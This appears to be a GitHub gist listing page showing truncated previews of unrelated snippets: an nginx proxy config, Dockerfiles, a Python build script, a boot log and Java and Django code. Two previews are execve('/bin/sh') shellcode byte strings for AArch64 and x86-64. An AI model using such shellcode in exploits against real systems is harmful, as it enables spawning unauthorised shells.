This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
stream { | |
server { | |
listen [2600:your:ip:here::1]:22 fastopen=100 ipv6only=on; | |
proxy_pass github.com:22; | |
} | |
server { | |
listen [2600:your:ip:here::1]:443 fastopen=100 ipv6only=on; | |
proxy_pass github.com:443; | |
} | |
server { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"\x00\x00\x80\xd2" // mov x0, #0x0 | |
"\x2f\x62\x69\x6e" // The string "/bin//sh" | |
"\x2f\x73\x68" // Continuation of the string | |
"\xe1\x0f\x02\x91" // add x1, sp, #0x3c | |
"\xe1\x0b\x41\xa9" // stp x1, x1, [sp, #-16]! | |
"\xe0\x0f\x02\x91" // add x0, sp, #0x3c | |
"\xe1\x0f\x02\x91" // add x1, sp, #0x3c | |
"\x00\x00\x80\xd2" // mov x2, #0x0 | |
"\xdd\x1b\x80\xd2" // mov x8, #0xdd | |
"\x01\x00\x00\xd4" // svc #0 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"\x48\x31\xc0" // xor %rax,%rax | |
"\x50" // push %rax | |
"\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" // mov $0x68732f6e69622f2f, %rbx | |
"\x53" // push %rbx | |
"\x48\x89\xe7" // mov %rsp,%rdi | |
"\x50" // push %rax | |
"\x57" // push %rdi | |
"\x48\x89\xe6" // mov %rsp,%rsi | |
"\xb0\x3b" // mov $0x3b,%al | |
"\x0f\x05" // syscall |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
"""'Finalize' the distroless image of an emissary build.""" | |
# Standard Library Imports | |
import os | |
import stat | |
import subprocess | |
import sys | |
import tarfile | |
from itertools import chain |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
UEFI firmware (version built at 09:00:00 on Nov 1 2018) | |
[2J[01;01H[=3h[2J[01;01H[2J[01;01H[=3h[2J[01;01H[2J[01;01H[=3h[2J[01;01H[0m[35m[40m[0m[37m[40m Booting `Bottlerocket OS 1.13.4' | |
Welcome to Bottlerocket OS 1.13.4 (aws-k8s-1.26)! | |
[ OK ] Created slice Slice /system/modprobe. | |
[ OK ] Reached target Path Units. | |
[ OK ] Reached target Slice Units. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
######################################## | |
# The Emissary build stage | |
######################################## | |
FROM golang:1.20.3-bullseye as emissary-factory | |
# See comment in `envoy-factory` for explanation | |
# of this symlink's purpose | |
RUN bash -c 'rm /bin/sh && ln /bin/bash /bin/sh' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM envoyproxy/envoy-build-ubuntu:458cb49ca2013c0ccf057d00ad1d4407920c4e52 as envoy-factory | |
ENV ENVOY_SRCDIR="/datawire-envoy" | |
RUN bash -c 'rm /bin/sh && ln -s /bin/bash /bin/sh' | |
RUN git clone --recursive https://github.com/datawire/envoy.git /datawire-envoy \ | |
&& cd /datawire-envoy \ | |
&& git checkout rebase/release/v1.25.4 \ | |
&& git pull \ | |
&& mkdir -p /build \ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
"""'Finalize' the distroless image of an emissary build.""" | |
# Standard Library Imports | |
import os | |
import stat | |
import subprocess | |
import sys | |
import tarfile | |
from itertools import chain |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from django.contrib.auth.models import User | |
from datetime import datetime, timedelta | |
import pytz | |
import time | |
import pandas as pd | |
import numpy as np | |
import matplotlib.pyplot as plt | |
pd.set_option('display.max_rows', 500) | |
pd.set_option('display.max_columns', 500) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import com.google.common.net.InternetDomainName; | |
import java.net.URL; | |
public final class URLFunction { | |
private static String getDomain(String url_input) { | |
if (url_input.length() == 0) { | |
return url_input; | |
} |